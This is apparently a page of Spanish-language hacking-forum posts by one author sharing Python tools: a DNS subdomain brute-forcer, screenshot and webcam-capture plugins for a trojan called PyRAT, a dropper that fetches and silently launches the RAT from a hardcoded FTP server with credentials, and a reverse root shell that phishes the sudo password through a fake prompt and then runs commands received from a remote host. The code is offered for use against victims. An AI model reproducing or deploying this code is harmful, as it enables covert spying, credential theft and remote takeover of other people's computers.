  38.             result = urlopen(url)
  39.             if result.code == 200:
  40.                 print "[+] " + url
  41.         except HTTPError as e:
  42.             print "[+] %s [%s]" % (url, e.getcode())
  43.         except Exception as e:
  44.             if self._verbose == True:
  45.                 print "[-] ERROR: " + str(e)
  46.  
  47. logo = """
  48. /$$$$$$$  /$$   /$$  /$$$$$$  /$$      /$$                    
  49. | $$__  $$| $$$ | $$ /$$__  $$| $$$    /$$$                    
  50. | $$  \ $$| $$$$| $$| $$  \__/| $$$$  /$$$$  /$$$$$$   /$$$$$$
  51. | $$  | $$| $$ $$ $$|  $$$$$$ | $$ $$/$$ $$ |____  $$ /$$__  $$
  52. | $$  | $$| $$  $$$$ \____  $$| $$  $$$| $$  /$$$$$$$| $$  \ $$
  53. | $$  | $$| $$\ $$$ /$$  \ $$| $$\ $ | $$ /$$__  $$| $$  | $$
  54. | $$$$$$$/| $$ \ $$|  $$$$$$/| $$ \/  | $$|  $$$$$$$| $$$$$$$/
  55. |_______/ |__/  \__/ \______/ |__/     |__/ \_______/| $$____/
  56.                                                     | $$      
  57.                                                     | $$      
  58.                                                     |__/
  59.                                                     """
  60.  
  61. usage = """Usage: python DNSMap.py <target-domain> [options]
  62.  
  63. Options:
  64. -w <wordlist-file>
  65. -d <delay-millisecs>
  66. -v <verbose mode>"""
  67.  
  68. about = """DNSMap v1.0.13.24.12 - DNS Network Mapper by WhiZ (underc0de.org)
  69. """
  70.  
  71. def parser():
  72.     if len(argv) < 4:
  73.         print about
  74.         print usage
  75.         exit()
  76.     # dns
  77.     if argv[1] == "-w" or argv[1] == "-d" or argv[1] == "-v":
  78.         print about
  79.         print usage
  80.         exit()
  81.     else:
  82.         dns = argv[1]
  83.         try:
  84.             dns = dns.replace("http://", "")
  85.             dns = dns.replace("www.", "")
  86.         except:
  87.             try:
  88.                 dns = dns.replace("www.", "")
  89.             except:
  90.                 pass
  91.    
  92.     # wordlist
  93.     if not "-w" in argv:
  94.         print about
  95.         print usage
  96.         exit()
  97.     else:
  98.         index = argv.index("-w")
  99.         wordlist = argv[index+1]
  100.  
  101.     # delay
  102.     if not "-d" in argv:
  103.         delay = 0
  104.     else:
  105.         index = argv.index("-d")
  106.         delay = argv[index+1]
  107.        
  108.     # verbose
  109.     if not "-v" in argv:
  110.         verbose = False
  111.     else:
  112.         verbose = True
  113.  
  114.     return (dns, wordlist, delay, verbose)
  115.        
  116. def argvTester(dns, wordlist, delay, verbose):
  117.     print "Checking information. Please wait..."
  118.  
  119.     # Cheking DNS
  120.     print "\n[*] Testing DNS: " + dns
  121.     try:
  122.         result = urlopen("http://www."+dns)
  123.         if result.code == 200:
  124.             print "[+] OK"
  125.         else:
  126.             print "[+] OK [%s]" % result.code
  127.     except HTTPError as e:
  128.         print "[+] OK [%s]" % e.getcode()
  129.     except Exception as e:
  130.         print "[-] FAIL:", e
  131.         exit()
  132.  
  133.     # Checking Wordlist
  134.     print "\n[*] Testing Wordlist: " + wordlist
  135.     try:
  136.         f = open(wordlist, "r")
  137.         f.close()
  138.         print "[+] OK"
  139.     except Exception as e:
  140.         print "[-] No such file or directory: " + wordlist
  141.         exit()
  142.  
  143.     # Checking Delay
  144.     print "\n[*] Testing Delay"
  145.     try:
  146.         delay = int(delay)
  147.         print "[+] Delay: " + str(delay) + " millisecs"
  148.         delay = float(delay)/1000
  149.     except:
  150.         print "[-] FAIL: An integer is required"
  151.         exit()
  152.  
  153.     # Checking verbose
  154.     if verbose == True:
  155.         print "\n[+] Verbose Mode"
  156.  
  157.     return dns, delay
  158.  
  159. def main():
  160.     dns, wordlist, delay, verbose = parser()
  161.     print logo
  162.     print about
  163.     dns, delay = argvTester(dns, wordlist, delay, verbose)
  164.  
  165.     dnsmap = DNSMap(dns, wordlist, delay, verbose)
  166.  
  167. if __name__ == "__main__":
  168.     main()
  169.  

Espero que les guste!
Saludos!
WhiZ

18
Python / Screenshot y WebcamCapture (proyecto PyRAT)
« en: Noviembre 06, 2013, 03:16:19 pm »
Bueno Gente! De a poco sigo con todo esto. En esta ocasión les dejo 2 plugins que tengo preparados para añadir a mi simple pero querido PyRAT.

screenshot.py
Código: Python
  1. #!/usr/bin/env python
  2. #-*- encoding:utf-8 -*-
  3. # screenshot.py
  4.  
  5. from PyQt4.QtGui import QApplication, QPixmap
  6. from os import environ, mkdir, listdir
  7. from sys import argv
  8. from time import strftime, gmtime
  9.  
  10. class Screenshot(object):
  11.         def __init__(self):  
  12.                 self.usuario = environ['USER']
  13.                 if not 'screenshot' in listdir('./'):
  14.                         mkdir('screenshot')
  15.  
  16.         def capturarPantalla(self):
  17.                 time = strftime("%d %b %Y_%H:%M:%S", gmtime())
  18.                 imagen = './screenshot/' + self.usuario + '_' + time + '.png'
  19.  
  20.                 app = QApplication(argv)
  21.                 winId = QApplication.desktop().winId()
  22.                 width = QApplication.desktop().screenGeometry().width()
  23.                 height = QApplication.desktop().screenGeometry().height()
  24.  
  25.                 captura = QPixmap.grabWindow(winId, 0, 0, width, height)
  26.  
  27.                 captura.save(imagen)
  28.  
  29. def main():
  30.         ss = Screenshot()
  31.         ss.capturarPantalla()
  32.  
  33. if __name__ == '__main__':
  34.         main()

webcamCapture.py
Código: Python
  1. #!/usr/bin/env python
  2. #-*- encoding:utf-8 -*-
  3. # webcamCapture.py
  4.  
  5. from pygame.image import save
  6. import pygame.camera as camera
  7. from os import environ, mkdir, listdir
  8. from time import strftime, gmtime
  9.  
  10. class WebcamCapture(object):
  11.         def __init__(self):
  12.  
  13.                 camera.init()
  14.                 misWebcams = camera.list_cameras()
  15.  
  16.                 if len(misWebcams) == 0:
  17.                         raise Exception('No hay webcam disponible.')
  18.                         exit()
  19.  
  20.                 elif len(misWebcams) == 1:
  21.                         self.miWebcam = misWebcams[0]
  22.  
  23.                 else:
  24.                         for i in range(len(misWebcams)):
  25.                                 try:
  26.                                         self.miWebcam = misWebcams[i]
  27.                                         break
  28.                                 except:
  29.                                         continue
  30.  
  31.         def capturar(self):
  32.                 try:
  33.                         webcam = camera.Camera(self.miWebcam,(640,480))
  34.                         webcam.start()
  35.  
  36.                         self.captura = webcam.get_image()
  37.                        
  38.                         webcam.stop()
  39.                 except Exception as e:
  40.                         print e
  41.  
  42.         def guardarCaptura(self):
  43.                 self.usuario = environ['USER']
  44.  
  45.                 if not 'webcam' in listdir('./'):
  46.                         mkdir('webcam')
  47.  
  48.                 tiempo = strftime("%d %b %Y_%H:%M:%S", gmtime())
  49.                 imagen = './webcam/' + self.usuario + '_' + tiempo + '.png'
  50.  
  51.                 save(self.captura, imagen)
  52.  
  53. def main():
  54.         wcCapture = WebcamCapture()
  55.         wcCapture.capturar()
  56.         wcCapture.guardarCaptura()
  57.  
  58. if __name__ == '__main__':
  59.         main()

Espero que les sirva y que en un futuro no muy lejano lo puedan disfrutar de manera integrada a PyRAT.

NOTA: Por ahora guarda las capturas en carpetas locales. Es decir, en vez de enviarnos las capturas, crea una carpeta y las guarda ahí. Por supuesto que cuando tenga el RAT listo esto no va a suceder, sino que las capturas serán enviadas a la máquina atacante (ya veré si lo hago por ftp, por el mismo socket o ambos).

Saludos!
WhiZ

19
Python / PiWI (PyRAT complemento)
« en: Octubre 15, 2013, 12:04:03 am »
Hola Gente! como les va??? Aprovecho en este ratito libre q tengo antes de acostarme para postear lo que no pude a la mañana jeje.

Hace algún tiempo atrás estuve experimentando un poco con el tema de PyRAT un troyano muy básico codeado en python. Lamentablemente, estuvo bastante tiempo estancado (espero poder retomarlo algún dìa) pero mientras tanto aproveché hoy a la mañana para escribir PyWI, un complemento de dicho RAT.

Básicamente, PyWi se encarga de habilitar el funcionamiento del RAT en windows mediante la instalación de python2.7 (sigilosamente) para luego activar el troyano.

No es mucho lo que hace en realidad pero pretendo ir mejorándolo tmb.

Sé que python podría parecer algo inadecuado para el tema de los RATs, principalmente por el hecho de que windows no trae python por defecto e instalarlo (tal y como lo hace PyWI) es bastante sospechoso. Sin embargo, se pueden cambiar algunas opciones durante la configuración como para que no sea tan delator.

Por otro lado, creo que hay mucho terreno explorado en otros lenguajes y resulta python un lenguaje con mucho camino por andar, por lo que en vez de hacer lo que ya hicieron miles de programadores, prefiero intentar hacer algo con mi querido python jeje.

Bueno, primero les comento como organicé todo y luego les dejo el código.

PyWI consiste en las siguientes clases:
    - Main --> clase principal; instancia a las clases siguientes y ejecuta el RAT
    - FTPDownloader --> descarga el archivo de instalación de python2.7 y el RAT
    - PyInstaller --> instala python2.7
    - ExceptionHandler --> captura los eventuales errores y los envía vía mail/FTP (esto último inconcluso)

main.py
Código: Python
  1. #!/usr/bin/env python
  2. # -*- encoding: utf-8 -*-
  3.  
  4. from ftpDownloader import FTPDownloader
  5. from pyInstaller import PyInstaller
  6. from exceptionHandler import ExceptionHandler
  7. from os import popen
  8. from time import sleep
  9.  
  10. class Main(object):
  11.         def __init__(self, host, dir, user=None, passwd=None):
  12.                 self.host = host
  13.                 self.user = user
  14.                 self.passwd = passwd
  15.                 self.dir = dir
  16.  
  17.         def ftpDownload(self, files):
  18.                 ftpd = FTPDownloader(self.host, self.dir, self.user, self.passwd)
  19.  
  20.                 ftpd.login()
  21.  
  22.                 for file in files:
  23.                         ftpd.file = file
  24.                         ftpd.downloadFile()
  25.  
  26.                 ftpd.close()
  27.  
  28.         def pythonInstall(self):
  29.                 pyInstaller = PyInstaller()
  30.                 pyInstaller.install()
  31.  
  32.         def initRAT(self):
  33.                 popen('python rat.py')
  34.  
  35. def main():
  36.         host = '31.170.160.100'
  37.         user = 'a3824860'
  38.         passwd = 'l0g1nn0w'
  39.         dir = 'public_html'
  40.         files = ['pyInstaller.msi', 'rat.py']
  41.  
  42.         try:
  43.                 main = Main(host, dir, user, passwd)
  44.                 main.ftpDownload(files)
  45.                 main.pythonInstall()
  46.                 main.initRAT()
  47.         except Exception as e:
  48.                 exception = ExceptionHandler(e)
  49.                 print('[*] retrying in 1000s')
  50.                 sleep(1000)
  51.                 main()
  52.  
  53. if __name__ == '__main__':
  54.         main()

ftpDownloader.py
Código: Python
  1. #!/usr/bin/env python
  2. # -*- encoding: utf-8 -*-
  3.  
  4. from ftplib import FTP
  5. import sys
  6.  
  7. class FTPDownloader(object):
  8.     def __init__(self, host, dir, user=None, passwd=None, file=None):
  9.         self.user = user
  10.         self.passwd = passwd
  11.         self.dir = dir
  12.         self.file = file
  13.  
  14.         self.ftp = FTP(host)
  15.  
  16.     def login(self):
  17.         print('[+] logging')
  18.         self.ftp.login(self.user, self.passwd)
  19.         self.ftp.cwd(self.dir)
  20.  
  21.     def downloadFile(self):
  22.         print('[+] downloading '+self.file)
  23.         self.ftp.voidcmd('TYPE I')
  24.  
  25.         datasock, estsize = self.ftp.ntransfercmd('RETR ' + self.file)
  26.         transbytes = 0
  27.         fd = open(self.file, 'wb')
  28.         while 1:
  29.             buf = datasock.recv(2048)
  30.             if not len(buf):
  31.                 break
  32.             fd.write(buf)
  33.             transbytes += len(buf)
  34.             sys.stdout.write('Received %d ' % transbytes)
  35.  
  36.             if estsize:
  37.                 sys.stdout.write('o0f %d bytes (%.1f%%)\r' % \
  38.                         (estsize, 100.0 * float(transbytes) / float(estsize)))
  39.             else:
  40.                 sys.stdout.write('bytes\r')
  41.             sys.stdout.flush()
  42.         sys.stdout.write('\n')
  43.         fd.close()
  44.         datasock.close()
  45.         self.ftp.voidresp()
  46.  
  47.     def close(self):
  48.         print('[+] closing connection')
  49.         self.ftp.quit()

pyInstaller.py
Código: Python
  1. #!/usr/bin/env python
  2. # -*- encoding: utf-8 -*-
  3.  
  4. from time import sleep
  5. from os import popen
  6.  
  7. class PyInstaller(object):
  8.         """
  9.         Instala Python v2.7 de manera silenciosa.
  10.         """
  11.         def __init__(self):
  12.                 installer  = 'pyInstaller.msi'
  13.                 self.cmd = 'msiexec /i ' + installer
  14.                 # debo mejorar la configuración de la instalación
  15.                 # para cambiar PATH y algunas cosas más.
  16.  
  17.         def install(self):
  18.                 print('[+] installing python')
  19.                 popen(self.cmd)

exceptionHandler.py
Código: Python
  1. #!/usr/bin/env python
  2. # -*- encoding: utf-8 -*-
  3.  
  4. class ExceptionHandler(object):
  5.         def __init__(self, e):
  6.                 error = '[-] ERROR:', e
  7.                 print(e)
  8.  
  9.                 # falta agregar el resto del código para:
  10.                 #
  11.                 #       - conseguir información del host (ip o
  12.                 #               nombre del host, y demás)
  13.                 #
  14.                 #       - enviar la información vía mail o FTP
  15.                 ##########################################

La idea es crear un único exe a partir de estos archivos y enviarlo.

Si alguno quiere probar su funcionamiento puede hacerlo con el código tal como está (dejé listo un servidor FTP con 2 archivos: el instalador y un pseudo RAT).

Bueno, eso es todo. Cualquier cosa no duden en comentar.

Saludos!
WhiZ

20
Python / ReverseRootShell con Python
« en: Junio 22, 2013, 07:28:23 pm »
Hola Gente! Cómo les va?

Esta vez vengo con un pequeño programita que escribí cuya función es conseguir una reverse shell con privilegios de root.

Para ello utilicé 2 herramientas: zenity y pexpect.

Con zenity creo un form que solicita la password al usuario remoto (una especie de ingeniería social) y con pexpect ejecuto una shell con privilegios de root ('sudo /bin/bash') e ingreso la contraseña introducida anteriormente por la víctima.

Bueno, por supuesto que uso sockets para establecer la conexión entre las 2 PCs.

Aquí el código:

Código: Python
  1. #!/usr/bin/python
  2. # -*- coding: utf-8 -*-
  3. # Autor: WhiZ
  4.  
  5. from pexpect import spawn, run
  6. import socket
  7.  
  8. class ReverseRootShell(object):
  9.        
  10.         def __init__(self):
  11.                
  12.                 # Obtenemos la contraseña del root
  13.                 self.passwd = self.obtienePasswd()
  14.                
  15.                 # Nos conectamos al cliente
  16.                 self.servidor = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  17.                 self.servidor.connect(('192.168.0.131', 2236))
  18.                
  19.                 # Obtenemos la shell como root
  20.                 self.obtieneRootShell()
  21.                
  22.                 # Escuchamos al cliente
  23.                 self.escuchaCliente()
  24.                
  25.                 self.servidor.close()
  26.  
  27.         def obtienePasswd(self):
  28.                
  29.                 zenity = '''zenity --password --title="Autenticación"'''
  30.                
  31.                 passwd = run(zenity).replace('\n', '')
  32.                 return passwd
  33.        
  34.         def obtieneRootShell(self):
  35.                
  36.                 # Ejecutamos la shell como root
  37.                 self.child = spawn('sudo /bin/bash')
  38.                
  39.                 # Enviamos la contraseña ingresada anteriormente
  40.                 # por el usuario
  41.                 self.child.sendline(self.passwd)
  42.                
  43.                 # Enviamos el output al host remoto
  44.                 salida = self.child.next() + self.passwd + '\n'
  45.                 self.servidor.send(salida)
  46.  
  47.         def escuchaCliente(self):
  48.                
  49.                 while True:
  50.                         recibido = self.servidor.recv(1024)
  51.                        
  52.                         if recibido == 'Desconectar':
  53.                                 break
  54.                        
  55.                         else:
  56.                                 self.ejecutaComando(recibido)
  57.        
  58.         def ejecutaComando(self, comando):
  59.                
  60.                 # Ejecutamos el comando (siempre como root)
  61.                 self.child.sendline(comando)
  62.                
  63.                 # Enviamos el output al host remoto
  64.                
  65.                 while True:
  66.                        
  67.                         try:
  68.                                 salida =  self.child.read_nonblocking(timeout=5)
  69.                                 self.servidor.send(salida)
  70.                                
  71.                                 # NOTA: Como es un poco complicado manejar el output
  72.                                 # con pexpect, lo que hice fue frenar el bucle tras
  73.                                 # 5 segundos de inactividad.
  74.                                 # Esto significa que si utilizamos comandos 'lentos'
  75.                                 # por ej., escaneamos la red con nmap, deberemos
  76.                                 # presionar la tecla 'enter' cada tanto para ir
  77.                                 # cargando los datos que vayan apareciendo
  78.                                
  79.                         except:
  80.                                 break
  81.  
  82. rrs = ReverseRootShell()
  83.  

De más está decir que hay mucho que mejorar, pero no me aguantaba asiq lo compartí jeje.

De todas maneras, mi idea es crear una herramienta de ingeniería social para linux, por lo que hay muchas alternativas a la hora de mejorar el código (depende del tipo de engaño que se nos ocurra). Por otro lado, quedan muchas cosas para agregar que son independientes del engaño que implementemos (por ejemplo, la persistencia).

A medida que lo vaya mejorando voy a ir actualizando el post.

Eso es todo.

Saludos!
WhiZ

Páginas: [1] 2